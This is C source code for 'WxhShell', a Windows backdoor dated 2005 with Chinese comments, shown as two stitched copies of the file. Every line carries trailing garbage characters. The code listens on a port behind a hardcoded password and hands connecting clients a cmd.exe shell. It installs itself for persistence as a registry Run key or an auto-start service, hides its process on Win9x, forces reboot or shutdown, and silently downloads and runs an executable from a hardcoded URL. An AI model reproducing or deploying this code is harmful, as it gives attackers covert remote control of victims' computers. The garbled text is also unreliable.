    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?$ov9U_  
    if(Boot(SHUTDOWN)) )7!,_r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <$hv{a  
    else { E+EcXf  
    closesocket(wsh); {X2uFw Gi  
    ExitThread(0); 6T+ym9  
    } ^`M%g2x  
    break; X jxa 2D  
    } 6iXV  
  // 获取shell +w(6#R8u5  
  case 's': { =jh^mD&'  
    CmdShell(wsh); nh0gT>a>@  
    closesocket(wsh); p5OoDo  
    ExitThread(0); !5h-$;  
    break; ]b>XN8y.  
  } !gV{[j?~zr  
  // 退出 tS\Db'C7  
  case 'x': { (VmFYNt&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "[k>pzl6  
    CloseIt(wsh); ^8bc<c:P  
    break; %Qb}z@>fJk  
    } G9xO>Xp^Al  
  // 离开 u\iKdL  
  case 'q': { y xT}hMa  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rx;;|eb,  
    closesocket(wsh); _<2{8>EVf  
    WSACleanup(); iD%a;]  
    exit(1); vfj{j= G  
    break; {|OXiRm'  
        } LkK&<z  
  } pZ[|Q2(  
  } .}eM"Kv  
R}3th/qf  
  // 提示信息 wpC .!T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =zrfh-lwH  
} &}C-W* f,Z  
  } FYu30  
fuCt9Kjo<  
  return; 3}3b@:<  
} Sfc,F8$&N  
~#VDJ[Z  
// shell模块句柄 khT[  
int CmdShell(SOCKET sock) 0 |?N  
{ f-H"|9  
STARTUPINFO si; 2!CL8hG5:  
ZeroMemory(&si,sizeof(si)); S= `$w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~@QAa (P.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c68y\  
PROCESS_INFORMATION ProcessInfo;  @e\ @EW  
char cmdline[]="cmd"; J{kS4v*J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u0)9IZxc  
  return 0; jLO$[c`;  
} (Uu5$q(  
rK}sQ4z=  
// 自身启动模式 lt]&o0>  
int StartFromService(void)  5 b,|6  
{ -`z%<)!Y  
typedef struct `m#G'E I  
{ x;} 25A|  
  DWORD ExitStatus; /F|VYl^_  
  DWORD PebBaseAddress; <s|.2~  
  DWORD AffinityMask; p15dbr1  
  DWORD BasePriority; "cjD-4 2  
  ULONG UniqueProcessId; GNB'.tJ:0Y  
  ULONG InheritedFromUniqueProcessId; * uccY_  
}   PROCESS_BASIC_INFORMATION; p0l.f`B  
M$>Nd6,@N  
PROCNTQSIP NtQueryInformationProcess; $nIE;idk  
KyP@ hhj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q@VIFmqY!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;p <BiC$b  
QGGBI Ku   
  HANDLE             hProcess; ePaC8sd0  
  PROCESS_BASIC_INFORMATION pbi; k,<7)-  
u WdKG({][  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Qz2jV  
  if(NULL == hInst ) return 0; YD9vWk \/  
d|~'#:y@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t.O~RE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d$E>bo-\   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ky8,HdAq  
4@mJEi{  
  if (!NtQueryInformationProcess) return 0; Al *yx_j  
l>BM}hS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a~JZc<ze  
  if(!hProcess) return 0; 'iwTvkf{  
L >hLYIW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *J': U>p  
VJCj=jX  
  CloseHandle(hProcess); QC] <`!  
_ogN   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gOE ?  
if(hProcess==NULL) return 0; /1.Z=@7  
+R{~%ZTK  
HMODULE hMod; ^Mhh2v  
char procName[255]; 9j-;-`$S  
unsigned long cbNeeded; !Zc#E,  
A%&lW9z7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ka(3ONbG  
qkC{IBN92  
  CloseHandle(hProcess); 5s4x%L (~}  
*Csxf[O  
if(strstr(procName,"services")) return 1; // 以服务启动 m?4HVv  
ku>Bxau4>  
  return 0; // 注册表启动 o{hZjn-  
} _ KyhX|  
p-!/p#  
// 主模块 20Jlf?  
int StartWxhshell(LPSTR lpCmdLine) ICG:4n(,  
{ $t5>1G1j7  
  SOCKET wsl; ?01ru5ys/o  
BOOL val=TRUE; 5~#oQ&  
  int port=0; u,`V%J?vW  
  struct sockaddr_in door; lX 50JJwk  
`Uvc^  
  if(wscfg.ws_autoins) Install(); (Bpn9}F-V.  
<p` F/p-  
port=atoi(lpCmdLine); \,!Qo*vj  
/7.//klN  
if(port<=0) port=wscfg.ws_port; wjOJn]  
O[|X=ZwR:l  
  WSADATA data; uFvR(LDb&g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]&='E.f  
Kz]\o"K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #B_H/9f(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :C&6M79k  
  door.sin_family = AF_INET; ScT{Tb]9bt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N6*FlG-  
  door.sin_port = htons(port); 1k$5'^]^9]  
/(%!txSNEt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PT4iy<  
closesocket(wsl); _0iV6Bj  
return 1; LMp^]*)t  
} Z:,`hW*A6  
? a/\5`gnN  
  if(listen(wsl,2) == INVALID_SOCKET) { gmiLjI  
closesocket(wsl); ow'CwOj$  
return 1;  |vBy=:  
} 5n e&6  
  Wxhshell(wsl); O6\c1ha  
  WSACleanup(); 1T4#+kW&  
>``  
return 0; ;2gO(  
jZe/h#J)[  
} -AB0uMot  
hN\Q&F!  
// 以NT服务方式启动 8rLhOA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /%b nG(4  
{ !&{"tL@.  
DWORD   status = 0; wF*9%K'E  
  DWORD   specificError = 0xfffffff; }:]CXrdg>  
fBBtS S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @oD2_D2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1 q|iw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6|4ID"  
  serviceStatus.dwWin32ExitCode     = 0; A(n3<(O/{Z  
  serviceStatus.dwServiceSpecificExitCode = 0; Wo5%@C#M  
  serviceStatus.dwCheckPoint       = 0; 34J*<B[Njo  
  serviceStatus.dwWaitHint       = 0; 8\+DSA  
Ggbz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kR8,E6Up  
  if (hServiceStatusHandle==0) return; $gCN[%+j  
z0|-OCmL  
status = GetLastError(); _Ec"[xW  
  if (status!=NO_ERROR) C;_00EQ=  
{ 5inCAPXz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xZVZYvC,t  
    serviceStatus.dwCheckPoint       = 0; Fx:4d$>;  
    serviceStatus.dwWaitHint       = 0; r,:acK  
    serviceStatus.dwWin32ExitCode     = status; \:2z!\iP`  
    serviceStatus.dwServiceSpecificExitCode = specificError; jPn.w,=)27  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >1` '5A}s  
    return; .dwbJT  
  } #JN4K>_4  
8= g~+<A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C(M?$s`  
  serviceStatus.dwCheckPoint       = 0; 3jHE,5m  
  serviceStatus.dwWaitHint       = 0; ~6+>2|wIS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e2L>"/  
} 35:RsL  
d?V/V'T[  
// 处理NT服务事件,比如:启动、停止 o[q|dhrANh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gu&W:FY  
{ 01NP  
switch(fdwControl) 46~nwi$,^  
{ ScmwHid:\  
case SERVICE_CONTROL_STOP: ,R=$ qi|  
  serviceStatus.dwWin32ExitCode = 0; /[n]t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7\gu; [n  
  serviceStatus.dwCheckPoint   = 0; cg9*+]rc  
  serviceStatus.dwWaitHint     = 0; zjzEmX  
  { J|VDZ# c7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3_]QtP3  
  } \S{ihS@J  
  return; uuL(BUGt-  
case SERVICE_CONTROL_PAUSE: RLcC>Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dJlK'zK  
  break; c{qTVi5e  
case SERVICE_CONTROL_CONTINUE: QSwT1P'U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '$5d6?BC`3  
  break; ZP-9KA$"  
case SERVICE_CONTROL_INTERROGATE: G&4D0f  
  break; wNUcL*n  
}; BgY|v [M&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HrT@Df  
} 9fO E .  
*z0 R f;  
// 标准应用程序主函数 ngk:q5Tp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <vu~EY0.  
{ o@C|*TXN  
w7\vrS>&  
// 获取操作系统版本 /UaQ 2h\  
OsIsNt=GetOsVer(); dP#7ev]'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K <WowU  
=5:kV/p  
  // 从命令行安装 `>RM:!m6=$  
  if(strpbrk(lpCmdLine,"iI")) Install(); K7/&~;ZwT  
jwI1 I{x  
  // 下载执行文件 n7zM;@{7  
if(wscfg.ws_downexe) { llCE}Vdh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -w'g0/fD  
  WinExec(wscfg.ws_filenam,SW_HIDE); u;b6uE  
} ETR7% 0$r  
!"aGo1 $$  
if(!OsIsNt) { @Y+kg  
// 如果时win9x,隐藏进程并且设置为注册表启动 `wSoa#U"@  
HideProc(); /gn\7&=P  
StartWxhshell(lpCmdLine); zB\ 8<97 C  
} i?)bF!J  
else Oo ^ AE  
  if(StartFromService()) dkg+_V!  
  // 以服务方式启动 &]anRT#  
  StartServiceCtrlDispatcher(DispatchTable); {yi!vw  
else `];ne]xM  
  // 普通方式启动 `[ZA#8Ma  
  StartWxhshell(lpCmdLine); h-o;vC9fC  
:JXcs39  
return 0; a(h@4 x  
} FtWO[*#  
r 2{7h>  
#X6=`Xe#  
-ilhC Y@M  
=========================================== h}S2b@e|  
MJK PpQ(,  
>as+#rz1p  
dtXtZ!g2  
Z(J 1A x  
IY?o \vC  
" q@4Cw&AI+  
U:$`M,762Z  
#include <stdio.h> 6\)u\m`7-l  
#include <string.h> cL"Ral-qB  
#include <windows.h> O [=W%2I!i  
#include <winsock2.h> 0bGQO&s [  
#include <winsvc.h> )P.,h&h/  
#include <urlmon.h> W5&KmA  
;[|+tO_  
#pragma comment (lib, "Ws2_32.lib") ?1X7jn`,+  
#pragma comment (lib, "urlmon.lib") zEeix,IU  
J!'IkC$>  
#define MAX_USER   100 // 最大客户端连接数 t"6u  
#define BUF_SOCK   200 // sock buffer TQ5kT?/{  
#define KEY_BUFF   255 // 输入 buffer c>C!vAg  
vE~<R  
#define REBOOT     0   // 重启 U.|0y=  
#define SHUTDOWN   1   // 关机 `oE.$~'  
1ay{uU!EL  
#define DEF_PORT   5000 // 监听端口 z}p*";)A  
HA0yX?f]  
#define REG_LEN     16   // 注册表键长度 mQtOx  
#define SVC_LEN     80   // NT服务名长度 _Aw-{HE'  
a$G hb]  
// 从dll定义API QwI HEmdM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o6r ^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V_)465g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'EkjySZ]F{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e4 cWi  
BagV\\#v4  
// wxhshell配置信息 SLud}|f;o  
struct WSCFG { ~@iYP/=/Q  
  int ws_port;         // 监听端口 |%=c<z+8  
  char ws_passstr[REG_LEN]; // 口令 QFEc?sEe  
  int ws_autoins;       // 安装标记, 1=yes 0=no gac/%_-HH7  
  char ws_regname[REG_LEN]; // 注册表键名 0-U%R)Q  
  char ws_svcname[REG_LEN]; // 服务名 7L!q{%}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hHsO?([99  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SwhArvS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @ds.)sKA>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^^gV@fz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8#a2 kR<b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *&W1|Qkg_  
T'VKZ5W  
}; e&=T`  
Pv3 e*I((  
// default Wxhshell configuration UC"_#!3  
struct WSCFG wscfg={DEF_PORT, n UD;y}}n  
    "xuhuanlingzhe", b#_u.vP  
    1, a]R1Fi0n  
    "Wxhshell", |_wbxdq  
    "Wxhshell", " G0HsXi  
            "WxhShell Service", X1lL@`r.5  
    "Wrsky Windows CmdShell Service", I~7eu&QZ  
    "Please Input Your Password: ", ZDl(q~4?z  
  1, Dad*6;+N  
  "http://www.wrsky.com/wxhshell.exe", }9(:W</}  
  "Wxhshell.exe" 3 e<sNU?  
    }; 7Ust7%  
&V7{J9  
// 消息定义模块 %!Ak]|[7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5TcirVO82  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z8n]6FDiE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [ncOtDE  
char *msg_ws_ext="\n\rExit."; pL)o@-k#%  
char *msg_ws_end="\n\rQuit."; {!7 ^ w  
char *msg_ws_boot="\n\rReboot..."; 9\W }p\c  
char *msg_ws_poff="\n\rShutdown..."; [|\BuUT'  
char *msg_ws_down="\n\rSave to "; Qxh 1I?h  
NhA_dskvo  
char *msg_ws_err="\n\rErr!"; Ue)8g#  
char *msg_ws_ok="\n\rOK!"; >gTrui{ ,  
&+V|Ldh  
char ExeFile[MAX_PATH]; 4V0j1 k&'  
int nUser = 0; Z2u5n`K  
HANDLE handles[MAX_USER]; QC*> qo  
int OsIsNt; ?Wm.'S'to  
'X(G><R9  
SERVICE_STATUS       serviceStatus; d*xKq"+ &E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Fi^Q]9.@{  
{`vv-[j|  
// 函数声明 @ \(*pa  
int Install(void); 2qD80W<1  
int Uninstall(void); O7z -4r  
int DownloadFile(char *sURL, SOCKET wsh); >O:j.(*!  
int Boot(int flag); ?`%)3gx|  
void HideProc(void); U^$o< 2  
int GetOsVer(void); [LJ1wBMw  
int Wxhshell(SOCKET wsl); /HmD/E\  
void TalkWithClient(void *cs); y84= Q  
int CmdShell(SOCKET sock); vpGeG  
int StartFromService(void); T 6g(,xPcL  
int StartWxhshell(LPSTR lpCmdLine); UlN+  
kU5chltGF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KC-q]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _ ecKX</Q  
> ^b6\  
// 数据结构和表定义 x\m !3  
SERVICE_TABLE_ENTRY DispatchTable[] = Nn],sEs  
{ O)qedy*&  
{wscfg.ws_svcname, NTServiceMain}, (bk~,n_  
{NULL, NULL} 4epE!`z_&  
}; 6+9inWTT(  
~97T0{E3  
// 自我安装 09{B6l6P  
int Install(void) XO*62 >Ed  
{ mRT`'fxK  
  char svExeFile[MAX_PATH]; 4A_}:nU  
  HKEY key; 3rEBG0cf]  
  strcpy(svExeFile,ExeFile); IGj%)_W  
~7tG%{t%  
// 如果是win9x系统,修改注册表设为自启动 p xrd D7  
if(!OsIsNt) {  2L~[dn.s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &n.7~C]R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xG05OqKpE  
  RegCloseKey(key); E.$1CGd+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M4rOnIJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <j93   
  RegCloseKey(key); `Tx1?]  
  return 0; er Cl@sq  
    } 7dXR/i\  
  } 2-9'zN0u  
} }%B^Vl%ZZ  
else { [.O 3z*[9#  
*%^Vq  
// 如果是NT以上系统,安装为系统服务 D=U"L-rRs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oe$Y=`  
if (schSCManager!=0) v*+.;60_  
{ }| BnG"8  
  SC_HANDLE schService = CreateService 6>! ;g'k  
  ( Y4Hi<JWo  
  schSCManager, )]"aa_20]  
  wscfg.ws_svcname, J;pn5k~3  
  wscfg.ws_svcdisp, /=9t$u|  
  SERVICE_ALL_ACCESS, Re3vW re  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D}1Z TX_  
  SERVICE_AUTO_START, #WD} XOA  
  SERVICE_ERROR_NORMAL, LHjGlBy  
  svExeFile, u:r'&#jb~@  
  NULL, *xxG@h|5n  
  NULL, z\Vu`Y z  
  NULL, t&+f:)n  
  NULL, lPL>8.j  
  NULL aZGX`;3  
  ); )J&1uMp{  
  if (schService!=0) a $pxt!6  
  { Yb8o`j+t  
  CloseServiceHandle(schService); Z `FqC  
  CloseServiceHandle(schSCManager);  l`x;Og>a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6@`Y6>}$_  
  strcat(svExeFile,wscfg.ws_svcname); )v&r^DR_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *Z*4L|zT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e;:~@cB,c  
  RegCloseKey(key); P!q U8AJkt  
  return 0; H"8fnN=xB  
    } XJl2_#  
  } (P {o9  
  CloseServiceHandle(schSCManager); Sr1xG%;|/  
} V_JM@VN}Kk  
} 3dG[dYj  
L M  
return 1; MsMNP[-l  
} f5jxF"oGNo  
j8*fa  
// 自我卸载 Vt-D8J\A 0  
int Uninstall(void) 1A;>@4iC0  
{ fMaUIJ:Q9  
  HKEY key; #Aox$[|@  
 FVOR~z  
if(!OsIsNt) { AyZL(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N:Yjz^Jt  
  RegDeleteValue(key,wscfg.ws_regname); 5\Sm^t|Tx  
  RegCloseKey(key); HMT^gmF)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JiL%1y9|  
  RegDeleteValue(key,wscfg.ws_regname); =ja(;uC  
  RegCloseKey(key); /7Z;/|oU  
  return 0; AW;"` ].  
  } q~9Y&>D  
} JAM4 R_  
} AZ~= ]1  
else { z>$AZ>t%J$  
_JZS;8WYR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z)B5g>  
if (schSCManager!=0) U  JO  
{ Jybx'vZj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y <;A989D  
  if (schService!=0) 4$D:<8B  
  { dZ'hTzw~  
  if(DeleteService(schService)!=0) { r:u,  
  CloseServiceHandle(schService); V_*TY6  
  CloseServiceHandle(schSCManager); ,gHgb  
  return 0; L7i^?40  
  } u`Kjs}F'  
  CloseServiceHandle(schService); W#1t%hT$  
  } #?h#R5:0  
  CloseServiceHandle(schSCManager); p:]kH  
} Ba-Ftkb  
} K1c@]]y)  
^|KX)g  
return 1; G&FA~c  
} .0$$H"t  
G  @ib  
// 从指定url下载文件 Z3Le?cMt^  
int DownloadFile(char *sURL, SOCKET wsh) mup<%@7m  
{ NbyVBl0=  
  HRESULT hr; iYE:o{  
char seps[]= "/"; '{9nQ DgT  
char *token; u Ey>7I  
char *file; u*/.   
char myURL[MAX_PATH]; !9+xKr99  
char myFILE[MAX_PATH]; 8:V:^`KaSs  
f"emH  
strcpy(myURL,sURL); ^F @z +q  
  token=strtok(myURL,seps); OmO/x  
  while(token!=NULL) "W:#4@ F  
  { EN^C'n  
    file=token; -z"=d<@  
  token=strtok(NULL,seps); S+LE ASOr  
  } k.b->U  
MH;5gC@ `  
GetCurrentDirectory(MAX_PATH,myFILE); Nrp0z:  
strcat(myFILE, "\\"); $`L!2  
strcat(myFILE, file); |y+<|fb,a  
  send(wsh,myFILE,strlen(myFILE),0); WVPnyVDc  
send(wsh,"...",3,0); Kfho:e,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'xO5Le(=M  
  if(hr==S_OK) W10=SM}  
return 0; pJ*x[y  
else y8/ 7@qw  
return 1; (<RZZ{m  
mx`C6G5  
} n_}=G RR  
o' U::  
// 系统电源模块 D@ :w/W  
int Boot(int flag) NY.Y=CF("  
{ 8*O]  
  HANDLE hToken; _&0_@  
  TOKEN_PRIVILEGES tkp; 6ybpPls  
fI:j@Wug  
  if(OsIsNt) { r q2]u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qcYF&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m:EO}ws=  
    tkp.PrivilegeCount = 1; 5&}~W)"9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ? OrRTRW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j*uc$hC"  
if(flag==REBOOT) { Eg&oAY.U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,9T-\)sT  
  return 0; DIx!Sw7EC  
} O6nCu  
else { KW^#DI6tr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RRGo$  
  return 0; gmG M[c\  
} -rC_8.u :  
  } Ko6>h  
  else { &j4 1<A  
if(flag==REBOOT) { n}NO"eF>-s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SJ/($3GkBd  
  return 0; s zgq7  
} E+>$@STv#  
else { Jzqv6A3G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |8xu*dVAp4  
  return 0; 9 F"2$;  
} x'Uv;mGo  
} {<\[gm\X  
Q>`|{m  
return 1; E_t ^osY&  
} 9~AAdD  
JA .J~3  
// win9x进程隐藏模块 8T3j/ D<r  
void HideProc(void) tS1(.CRk  
{ lO?dI=}]  
PjL"7^Q&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s,KE,$5F   
  if ( hKernel != NULL ) xW`,@a }  
  { xMck A<E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8Ja't8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "qb1jv#to  
    FreeLibrary(hKernel); 0~.OMG:=  
  } (%`R{Y  
i,77F!  
return; s\7]"3:wD  
} f$\gm+&hXE  
Rh%c<</`0s  
// 获取操作系统版本 ]{mz %\  
int GetOsVer(void) KJ/ *BBf  
{ (]wd8M  
  OSVERSIONINFO winfo; *^]lFuX\&E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =3~u.iq$  
  GetVersionEx(&winfo); j?5s/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6jdNQC$#B  
  return 1; 3%"r%:fQB/  
  else Lm-yTMNPn  
  return 0; rD7L==Ld  
} OPYl#3I  
U{^~X_?  
// 客户端句柄模块 T B!z:n  
int Wxhshell(SOCKET wsl) ,5tW|=0@  
{ x<mHTh:-V  
  SOCKET wsh; H)eecH$K  
  struct sockaddr_in client; 0N" VOEvG  
  DWORD myID; ^e<"`e  
Qxw?D4/Y  
  while(nUser<MAX_USER) L?W F[nF R  
{ Xm#E99  
  int nSize=sizeof(client); WAzYnl'p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =\t%U5  
  if(wsh==INVALID_SOCKET) return 1; J.R|Xd  
k7R8Q~4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9:JFG{M  
if(handles[nUser]==0) v,=[!=8!  
  closesocket(wsh); 2HxT+|~d6  
else Myal3UF  
  nUser++; ]8Eci^i  
  } __F?iRrCM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gM0^k6bB8  
E3p3DM0F$  
  return 0; H(MCY3t  
} 2l7Sbs7  
#_A <C+[  
// 关闭 socket PYOU=R%o`8  
void CloseIt(SOCKET wsh) mKsTA;  
{ 5tSR2gG#K,  
closesocket(wsh); y([""z3<w  
nUser--; -G!W6$Y  
ExitThread(0); yMJY6$Ct  
} 3@d{C^\  
DE0gd ux8  
// 客户端请求句柄 pPC_ub  
void TalkWithClient(void *cs) * KDT0;/s  
{ SkmLX@:(  
n@hf{hA[a  
  SOCKET wsh=(SOCKET)cs; $. ;j4%%  
  char pwd[SVC_LEN]; ]m>N!Iu  
  char cmd[KEY_BUFF]; %XpYiW#AK  
char chr[1]; @,Re<%\  
int i,j; yNVmTb9mF  
3?}W0dZ$d  
  while (nUser < MAX_USER) { yf KJpy  
<`'^rCWI?  
if(wscfg.ws_passstr) { /7bIE!Cn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =:|fN3nJ2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m((A  
  //ZeroMemory(pwd,KEY_BUFF); A7/ R5p  
      i=0; |5ifgSZ  
  while(i<SVC_LEN) { k Xs&k8  
uv:DO6 {  
  // 设置超时 *jBn ^  
  fd_set FdRead; *\UxdL 22  
  struct timeval TimeOut; L$ nFRl&  
  FD_ZERO(&FdRead); ][ ,NNXrc&  
  FD_SET(wsh,&FdRead); @IB+@RmL  
  TimeOut.tv_sec=8; S`!MoIMsD  
  TimeOut.tv_usec=0; A? =(q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~7N>tjB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j3!]wolY  
@Ju!|G9z/p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )$# Ku2X  
  pwd=chr[0]; W|go*+`W%  
  if(chr[0]==0xd || chr[0]==0xa) { 2n9E:tc  
  pwd=0; .] S{T  
  break; M5SAlj  
  } \2rCT~x  
  i++; gFsnL*L0  
    } F-=W7 D:[c  
VTDp9s  
  // 如果是非法用户,关闭 socket [@Db7]nG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (Ea)`'/  
} Jy,Dcl  
(HHVup1f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q><E?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t^|+|>S  
9w-V +Nf  
while(1) { [WOLUb  
}y-b<J ?H  
  ZeroMemory(cmd,KEY_BUFF); $/sQatic  
MTKd:.J6  
      // 自动支持客户端 telnet标准   uZyR{~-C  
  j=0; '`$US;5  
  while(j<KEY_BUFF) { EDm,Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EM_`` 0^  
  cmd[j]=chr[0]; ^#H%LLt  
  if(chr[0]==0xa || chr[0]==0xd) { |eEcEu?/b  
  cmd[j]=0; !l7eB@O  
  break; FW)G5^Tf  
  } >L#HE  
  j++; q@;z((45  
    } B}= WxG|)  
axTvA(k9  
  // 下载文件 U]!D=+  
  if(strstr(cmd,"http://")) { A7~~{9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); * /S=9n0  
  if(DownloadFile(cmd,wsh)) q4XS E,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ 9T;-]  
  else *$ZLu jy7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fP41 B  
  } Kt,ENbF  
  else { Fe(qf>E  
DrD68$,QN  
